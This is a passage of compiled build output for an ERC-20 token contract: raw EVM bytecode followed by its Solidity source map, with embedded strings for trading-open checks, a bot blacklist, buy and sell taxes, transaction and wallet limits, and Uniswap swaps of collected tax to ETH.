604052508101906106159190611799565b50506014805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260040161041390611764565b601454600160a01b900460ff16156106af5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610413565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f89030906106ea6012600a61173e565b6104b3906305f5e10061174d565b601280546001600160a01b0319166001600160a01b0383811691821783556000918252600460208181526040808520805460ff19908116600190811790925596548516865260038352948190208054909616909417909455601354835163c45a015560e01b8152935192169363c45a015593808301939192908290030181865afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae91906117c7565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610810573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083491906117c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a591906117c7565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161041390611764565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103be338484610ad9565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161041390611764565b600019600f81905560118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6001600160a01b038316610a175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610413565b6001600160a01b038216610a785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610413565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610413565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610413565b60008111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610413565b806000610c166000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610c4557506000546001600160a01b03858116911614155b15610f88576001600160a01b03851660009081526005602052604090205460ff16158015610c8c57506001600160a01b03841660009081526005602052604090205460ff16155b610c9557600080fd5b601454600160a01b900460ff1680610cc557506001600160a01b03851660009081526003602052604090205460ff165b610d0a5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610413565b610d366064610d30600a54600d5411610d2557600654610d29565b6008545b8690610fd6565b90611058565b6014549091506001600160a01b038681169116148015610d6457506013546001600160a01b03858116911614155b8015610d8957506001600160a01b03841660009081526003602052604090205460ff16155b15610e7157600f54831115610de05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610413565b60115483610e03866001600160a01b031660009081526001602052604090205490565b610e0d91906117e4565b1115610e5b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610413565b600d8054906000610e6b836117f7565b91905055505b6014546001600160a01b038581169116148015610e9757506001600160a01b0385163014155b15610ef357610ec16064610d30600b54600d5411610eb757600754610d29565b6009548690610fd6565b6001600160a01b03861660009081526003602052604090205490915060ff1615610ef357610ef085858561109a565b91505b30600090815260016020526040902054601454600160a81b900460ff16158015610f2a57506014546001600160a01b038681169116145b8015610f3f5750601454600160b01b900460ff165b15610f8657600e5481118015610f585750600c54600d54115b15610f7a57610f7a610f7585610f708460105461113e565b61113e565b611153565b47610f84816112cd565b505b505b610f95858585848661130b565b5050505050565b60008184841115610fc05760405162461bcd60e51b8152600401610413919061151e565b506000610fcd8486611810565b95945050505050565b600082600003610fe8575060006103c2565b6000610ff4838561174d565b9050826110018583611823565b146104bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610413565b60006104bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144f565b6014546000906001600160a01b03908116908516036110ba5750806104bc565b6014546001600160a01b0384811691161480156110e057506001600160a01b0384163014155b15611137576111306064610d30600b54600d5411801561111957506001600160a01b03871660009081526003602052604090205460ff16155b61112557600954611129565b6007545b8590610fd6565b90506104bc565b5092915050565b600081831161114d57826104bc565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119b5761119b611845565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121891906117c7565b8160018151811061122b5761122b611845565b6001600160a01b03928316602091820292909201015260135461125191309116846109b5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061128a90859060009086903090429060040161185b565b600060405180830381600087803b1580156112a457600080fd5b505af11580156112b8573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611307573d6000803e3d6000fd5b5050565b8115611385573060009081526001602052604090205461132b908361147d565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061137c9086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546113a890826114dc565b6001600160a01b0386166000908152600160205260409020556113ed6113ce84846114dc565b6001600160a01b0386166000908152600160205260409020549061147d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61143786866114dc565b60405190815260200160405180910390a35050505050565b600081836114705760405162461bcd60e51b8152600401610413919061151e565b506000610fcd8486611823565b60008061148a83856117e4565b9050838110156104bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610413565b60006104bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9c565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461045657600080fd5b6000806040838503121561159457600080fd5b823561159f8161156c565b946020939093013593505050565b6000806000606084860312156115c257600080fd5b83356115cd8161156c565b925060208401356115dd8161156c565b929592945050506040919091013590565b60006020828403121561160057600080fd5b81356104bc8161156c565b6000806040838503121561161e57600080fd5b82356116298161156c565b915060208301356116398161156c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169557816000190482111561167b5761167b611644565b8085161561168857918102915b93841c939080029061165f565b509250929050565b6000826116ac575060016103c2565b816116b9575060006103c2565b81600181146116cf57600281146116d9576116f5565b60019150506103c2565b60ff8411156116ea576116ea611644565b50506001821b6103c2565b5060208310610133831016604e8410600b8410161715611718575081810a6103c2565b611722838361165a565b806000190482111561173657611736611644565b029392505050565b60006104bc60ff84168361169d565b80820281158282048414176103c2576103c2611644565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117ae57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117d957600080fd5b81516104bc8161156c565b808201808211156103c2576103c2611644565b60006001820161180957611809611644565b5060010190565b818103818111156103c2576103c2611644565b60008261184057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ab5784516001600160a01b031683529383019391830191600101611886565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d8bf89530d82142d3f4175d2fab18894eb9c3be0b48b4f4bdbc77da02ce3e2164736f6c63430008130033

3871:9338:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5711:83;;;;;;;;;;-1:-1:-1;5781:5:0;;;;;;;;;;;;-1:-1:-1;;;5781:5:0;;;;5711:83;;;;;;;:::i;:::-;;;;;;;;6599:186;;;;;;;;;;-1:-1:-1;6599:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6599:186:0;1023:187:1;5988:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5988:100:0;1215:177:1;12276:107:0;;;;;;;;;;;;;:::i;:::-;;6793:446;;;;;;;;;;-1:-1:-1;6793:446:0;;;;;:::i;:::-;;:::i;11766:406::-;;;;;;;;;;;;;:::i;5897:83::-;;;;;;;;;;-1:-1:-1;5897:83:0;;4574:2;2000:36:1;;1988:2;1973:18;5897:83:0;1858:184:1;12391:620:0;;;;;;;;;;-1:-1:-1;12391:620:0;;;;;:::i;:::-;;:::i;4803:50::-;;;;;;;;;;;;;;;;6096:119;;;;;;;;;;-1:-1:-1;6096:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6189:18:0;6162:7;6189:18;;;:9;:18;;;;;;;6096:119;2866:148;;;;;;;;;;;;;:::i;2652:79::-;;;;;;;;;;-1:-1:-1;2690:7:0;2717:6;2652:79;;-1:-1:-1;;;;;2717:6:0;;;2445:51:1;;2433:2;2418:18;2652:79:0;2299:203:1;5802:87:0;;;;;;;;;;-1:-1:-1;5874:7:0;;;;;;;;;;;;-1:-1:-1;;;5874:7:0;;;;5802:87;;6223:192;;;;;;;;;;-1:-1:-1;6223:192:0;;;;;:::i;:::-;;:::i;4973:56::-;;;;;;;;;;;;;;;;4860:52;;;;;;;;;;;;;;;;6423:168;;;;;;;;;;-1:-1:-1;6423:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6556:18:0;;;6529:7;6556:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6423:168;13019:187;;;;;;;;;;;;;:::i;4919:47::-;;;;;;;;;;;;;;;;6599:186;6699:4;6716:39;267:10;6739:7;6748:6;6716:8;:39::i;:::-;-1:-1:-1;6773:4:0;6599:186;;;;;:::o;5988:100::-;6041:7;4635:15;4574:2;4635;:15;:::i;:::-;4623:27;;:9;:27;:::i;:::-;6061:19;;5988:100;:::o;12276:107::-;2779:6;;-1:-1:-1;;;;;2779:6:0;267:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;;;;;;;;;2690:7;2717:6;;12327:48:::1;::::0;-1:-1:-1;;;;;2717:6:0;;;;12353:21:::1;12327:48:::0;::::1;;;::::0;12353:21;;12327:48;2690:7;12327:48;12353:21;2717:6;12327:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12276:107::o:0;6793:446::-;6925:4;6942:36;6952:6;6960:9;6971:6;6942:9;:36::i;:::-;6989:220;7012:6;267:10;7060:138;7116:6;7060:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7060:19:0;;;;;;:11;:19;;;;;;;;267:10;7060:33;;;;;;;;;;:37;:138::i;:::-;6989:8;:220::i;:::-;-1:-1:-1;7227:4:0;6793:446;;;;;;:::o;11766:406::-;2779:6;;-1:-1:-1;;;;;2779:6:0;267:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;11829:11:::1;::::0;-1:-1:-1;;;11829:11:0;::::1;;;11828:12;11820:48;;;::::0;-1:-1:-1;;;11820:48:0;;5151:2:1;11820:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;11820:48:0::1;4949:347:1::0;11820:48:0::1;11881:15;::::0;-1:-1:-1;;;;;11881:15:0::1;:31;11920:21;11965:4;11985:24;11965:4:::0;-1:-1:-1;;;;;6189:18:0;6162:7;6189:18;;;:9;:18;;;;;;;6096:119;11985:24:::1;12024:1;12040::::0;12056:7:::1;2690::::0;2717:6;-1:-1:-1;;;;;2717:6:0;;2652:79;12056:7:::1;11881:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11881:223:0;;;-1:-1:-1;;;;;5660:15:1;;;11881:223:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;12078:15:0::1;5874:19:1::0;;;5867:35;5576:19;;11881:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12117:11:0::1;:18:::0;;-1:-1:-1;;;;12146:18:0;-1:-1:-1;;;12146:18:0;;;-1:-1:-1;11766:406:0:o;12391:620::-;2779:6;;-1:-1:-1;;;;;2779:6:0;267:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;12466:11:::1;::::0;-1:-1:-1;;;12466:11:0;::::1;;;12465:12;12457:48;;;::::0;-1:-1:-1;;;12457:48:0;;5151:2:1;12457:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;12457:48:0::1;4949:347:1::0;12457:48:0::1;12516:15;:104:::0;;-1:-1:-1;;;;;;12516:104:0::1;12567:42;12516:104:::0;;::::1;::::0;;;12631:63:::1;::::0;12648:4:::1;::::0;4635:15:::1;4574:2;4635;:15;:::i;:::-;4623:27;::::0;:9:::1;:27;:::i;12631:63::-;12705:11;:29:::0;;-1:-1:-1;;;;;;12705:29:0::1;-1:-1:-1::0;;;;;12705:29:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;12745:32:0;;;:19:::1;:32;::::0;;;;;;;:39;;-1:-1:-1;;12745:39:0;;::::1;-1:-1:-1::0;12745:39:0;;::::1;::::0;;;12814:11;;;::::1;12795:31:::0;;:18:::1;:31:::0;;;;;;:38;;;;::::1;::::0;;::::1;::::0;;;12878:15:::1;::::0;:25;;-1:-1:-1;;;12878:25:0;;;;:15;::::1;::::0;:23:::1;::::0;:25;;::::1;::::0;12745:32;;12878:25;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12860:55:0::1;;12942:4;12966:15;;;;;;;;;-1:-1:-1::0;;;;;12966:15:0::1;-1:-1:-1::0;;;;;12966:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12860:143;::::0;-1:-1:-1;;;;;;12860:143:0::1;::::0;;;;;;-1:-1:-1;;;;;6710:15:1;;;12860:143:0::1;::::0;::::1;6692:34:1::0;6762:15;;6742:18;;;6735:43;6627:18;;12860:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12844:13;:159:::0;;-1:-1:-1;;;;;;12844:159:0::1;-1:-1:-1::0;;;;;12844:159:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;12391:620:0:o;2866:148::-;2779:6;;-1:-1:-1;;;;;2779:6:0;267:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;2973:1:::1;2957:6:::0;;2936:40:::1;::::0;-1:-1:-1;;;;;2957:6:0;;::::1;::::0;2936:40:::1;::::0;2973:1;;2936:40:::1;3004:1;2987:19:::0;;-1:-1:-1;;;;;;2987:19:0::1;::::0;;2866:148::o;6223:192::-;6326:4;6343:42;267:10;6367:9;6378:6;6343:9;:42::i;13019:187::-;2779:6;;-1:-1:-1;;;;;2779:6:0;267:10;2779:22;2771:67;;;;-1:-1:-1;;;2771:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13070:10:0::1;:30:::0;;;13111:14:::1;:34:::0;;;13161:37:::1;::::0;1361:25:1;;;13161:37:0::1;::::0;1349:2:1;1334:18;13161:37:0::1;;;;;;;13019:187::o:0;7247:335::-;-1:-1:-1;;;;;7340:19:0;;7332:68;;;;-1:-1:-1;;;7332:68:0;;6991:2:1;7332:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;7332:68:0;6789:400:1;7332:68:0;-1:-1:-1;;;;;7419:21:0;;7411:68;;;;-1:-1:-1;;;7411:68:0;;7396:2:1;7411:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;7411:68:0;7194:398:1;7411:68:0;-1:-1:-1;;;;;7490:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7542:32;;1361:25:1;;;7542:32:0;;1334:18:1;7542:32:0;;;;;;;7247:335;;;:::o;8148:2373::-;-1:-1:-1;;;;;8237:18:0;;8229:68;;;;-1:-1:-1;;;8229:68:0;;7799:2:1;8229:68:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;8229:68:0;7597:401:1;8229:68:0;-1:-1:-1;;;;;8316:18:0;;8308:66;;;;-1:-1:-1;;;8308:66:0;;8205:2:1;8308:66:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;8308:66:0;8003:399:1;8308:66:0;8401:1;8393:5;:9;8385:63;;;;-1:-1:-1;;;8385:63:0;;8609:2:1;8385:63:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;8385:63:0;8407:405:1;8385:63:0;8477:5;8461:13;8535:7;2690;2717:6;-1:-1:-1;;;;;2717:6:0;;2652:79;8535:7;-1:-1:-1;;;;;8527:15:0;:4;-1:-1:-1;;;;;8527:15:0;;;:34;;;;-1:-1:-1;2690:7:0;2717:6;-1:-1:-1;;;;;8546:15:0;;;2717:6;;8546:15;;8527:34;8523:1929;;;-1:-1:-1;;;;;8587:10:0;;;;;;:4;:10;;;;;;;;8586:11;:26;;;;-1:-1:-1;;;;;;8602:10:0;;;;;;:4;:10;;;;;;;;8601:11;8586:26;8578:35;;;;;;8654:11;;-1:-1:-1;;;8654:11:0;;;;;:39;;-1:-1:-1;;;;;;8669:24:0;;;;;;:18;:24;;;;;;;;8654:39;8628:123;;;;-1:-1:-1;;;8628:123:0;;9019:2:1;8628:123:0;;;9001:21:1;9058:2;9038:18;;;9031:30;-1:-1:-1;;;9077:18:1;;;9070:52;9139:18;;8628:123:0;8817:346:1;8628:123:0;8776:207;8979:3;8776:180;8839:15;;8827:9;;:27;8826:111;;8923:14;;8826:111;;;8883:12;;8826:111;8776:5;;:27;:180::i;:::-;:202;;:207::i;:::-;9028:13;;8768:215;;-1:-1:-1;;;;;;9020:21:0;;;9028:13;;9020:21;:74;;;;-1:-1:-1;9078:15:0;;-1:-1:-1;;;;;9062:32:0;;;9078:15;;9062:32;;9020:74;:120;;;;-1:-1:-1;;;;;;9116:24:0;;;;;;:18;:24;;;;;;;;9115:25;9020:120;8998:440;;;9192:10;;9183:5;:19;;9175:57;;;;-1:-1:-1;;;9175:57:0;;9370:2:1;9175:57:0;;;9352:21:1;9409:2;9389:18;;;9382:30;9448:27;9428:18;;;9421:55;9493:18;;9175:57:0;9168:349:1;9175:57:0;9308:14;;9299:5;9281:15;9291:4;-1:-1:-1;;;;;6189:18:0;6162:7;6189:18;;;:9;:18;;;;;;;6096:119;9281:15;:23;;;;:::i;:::-;:41;;9251:141;;;;-1:-1:-1;;;9251:141:0;;9854:2:1;9251:141:0;;;9836:21:1;9893:2;9873:18;;;9866:30;9932:28;9912:18;;;9905:56;9978:18;;9251:141:0;9652:350:1;9251:141:0;9411:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8998:440;9464:13;;-1:-1:-1;;;;;9456:21:0;;;9464:13;;9456:21;:46;;;;-1:-1:-1;;;;;;9481:21:0;;9497:4;9481:21;;9456:46;9452:435;;;9531:234;9761:3;9531:203;9602:16;;9590:9;;:28;9589:122;;9696:15;;9589:122;;;9651:13;;9531:5;;:31;:203::i;:234::-;-1:-1:-1;;;;;9790:24:0;;;;;;:18;:24;;;;;;9523:242;;-1:-1:-1;9790:24:0;;9786:85;;;9845:26;9853:4;9859;9865:5;9845:7;:26::i;:::-;9837:34;;9786:85;9952:4;9903:28;6189:18;;;:9;:18;;;;;;9978:6;;-1:-1:-1;;;9978:6:0;;;;9977:7;:32;;;;-1:-1:-1;9996:13:0;;-1:-1:-1;;;;;9988:21:0;;;9996:13;;9988:21;9977:32;:47;;;;-1:-1:-1;10013:11:0;;-1:-1:-1;;;10013:11:0;;;;9977:47;9973:468;;;10094:10;;10071:20;:33;:88;;;;;10141:18;;10129:9;;:30;10071:88;10045:271;;;10200:116;10243:50;10247:5;10254:38;10258:20;10280:11;;10254:3;:38::i;:::-;10243:3;:50::i;:::-;10200:16;:116::i;:::-;10361:21;10401:24;10361:21;10401:7;:24::i;:::-;10026:415;9973:468;8563:1889;8523:1929;10464:49;10481:4;10487;10493:5;10500;10507;10464:16;:49::i;:::-;8218:2303;;8148:2373;;;:::o;1454:224::-;1574:7;1610:12;1602:6;;;;1594:29;;;;-1:-1:-1;;;1594:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1634:9:0;1646:5;1650:1;1646;:5;:::i;:::-;1634:17;1454:224;-1:-1:-1;;;;;1454:224:0:o;1686:246::-;1744:7;1768:1;1773;1768:6;1764:47;;-1:-1:-1;1798:1:0;1791:8;;1764:47;1821:9;1833:5;1837:1;1833;:5;:::i;:::-;1821:17;-1:-1:-1;1866:1:0;1857:5;1861:1;1821:17;1857:5;:::i;:::-;:10;1849:56;;;;-1:-1:-1;;;1849:56:0;;10704:2:1;1849:56:0;;;10686:21:1;10743:2;10723:18;;;10716:30;10782:34;10762:18;;;10755:62;-1:-1:-1;;;10833:18:1;;;10826:31;10874:19;;1849:56:0;10502:397:1;1940:132:0;1998:7;2025:39;2029:1;2032;2025:39;;;;;;;;;;;;;;;;;:3;:39::i;10529:623::-;10678:13;;10646:7;;-1:-1:-1;;;;;10678:13:0;;;10670:21;;;;10666:453;;-1:-1:-1;10715:5:0;10708:12;;10666:453;10750:13;;-1:-1:-1;;;;;10742:21:0;;;10750:13;;10742:21;:46;;;;-1:-1:-1;;;;;;10767:21:0;;10783:4;10767:21;;10742:46;10738:381;;;10827:292;11115:3;10827:261;10898:16;;10886:9;;:28;:86;;;;-1:-1:-1;;;;;;10948:24:0;;;;;;:18;:24;;;;;;;;10947:25;10886:86;10885:180;;11052:13;;10885:180;;;11005:15;;10885:180;10827:5;;:31;:261::i;:292::-;10803:316;;;;10738:381;-1:-1:-1;11139:5:0;10529:623;-1:-1:-1;;10529:623:0:o;11160:107::-;11217:7;11249:1;11245;:5;11244:15;;11258:1;11244:15;;;-1:-1:-1;11254:1:0;11160:107;-1:-1:-1;11160:107:0:o;11275:483::-;5360:6;:13;;-1:-1:-1;;;;5360:13:0;-1:-1:-1;;;5360:13:0;;;11377:16:::1;::::0;;11391:1:::1;11377:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11377:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11377:16:0::1;11353:40;;11422:4;11404;11409:1;11404:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11404:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11448:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11448:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11404:7;;11448:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11438:4;11443:1;11438:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11438:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11513:15:::1;::::0;11481:62:::1;::::0;11498:4:::1;::::0;11513:15:::1;11531:11:::0;11481:8:::1;:62::i;:::-;11554:15;::::0;:196:::1;::::0;-1:-1:-1;;;11554:196:0;;-1:-1:-1;;;;;11554:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11635:11;;11554:15:::1;::::0;11677:4;;11704::::1;::::0;11724:15:::1;::::0;11554:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5396:6:0;:14;;-1:-1:-1;;;;5396:14:0;;;-1:-1:-1;;;;11275:483:0:o;12180:88::-;12232:11;;:28;;-1:-1:-1;;;;;12232:11:0;;;;:28;;;;;12253:6;;12232:11;:28;:11;:28;12253:6;12232:11;:28;;;;;;;;;;;;;;;;;;;;;12180:88;:::o;7627:513::-;7802:9;;7798:160;;7873:4;7855:24;;;;:9;:24;;;;;;:35;;7884:5;7855:28;:35::i;:::-;7846:4;7828:24;;;;:9;:24;;;;;;;:62;;;;7910:36;;-1:-1:-1;;;;;7910:36:0;;;;;;;7940:5;1361:25:1;;1349:2;1334:18;;1215:177;7910:36:0;;;;;;;;7798:160;-1:-1:-1;;;;;7986:15:0;;;;;;:9;:15;;;;;;:26;;8006:5;7986:19;:26::i;:::-;-1:-1:-1;;;;;7968:15:0;;;;;;:9;:15;;;;;:44;8041:37;8061:16;:5;8071;8061:9;:16::i;:::-;-1:-1:-1;;;;;8041:15:0;;;;;;:9;:15;;;;;;;:19;:37::i;:::-;-1:-1:-1;;;;;8023:15:0;;;;;;;:9;:15;;;;;:55;;;;8094:38;;;8115:16;:5;8125;8115:9;:16::i;:::-;8094:38;;1361:25:1;;;1349:2;1334:18;8094:38:0;;;;;;;7627:513;;;;;:::o;2080:223::-;2200:7;2235:12;2228:5;2220:28;;;;-1:-1:-1;;;2220:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2259:9:0;2271:5;2275:1;2271;:5;:::i;1123:179::-;1181:7;;1213:5;1217:1;1213;:5;:::i;:::-;1201:17;;1242:1;1237;:6;;1229:46;;;;-1:-1:-1;;;1229:46:0;;12355:2:1;1229:46:0;;;12337:21:1;12394:2;12374:18;;;12367:30;12433:29;12413:18;;;12406:57;12480:18;;1229:46:0;12153:351:1;1310:136:0;1368:7;1395:43;1399:1;1402;1395:43;;;;;;;;;;;;;;;;;:3;:43::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1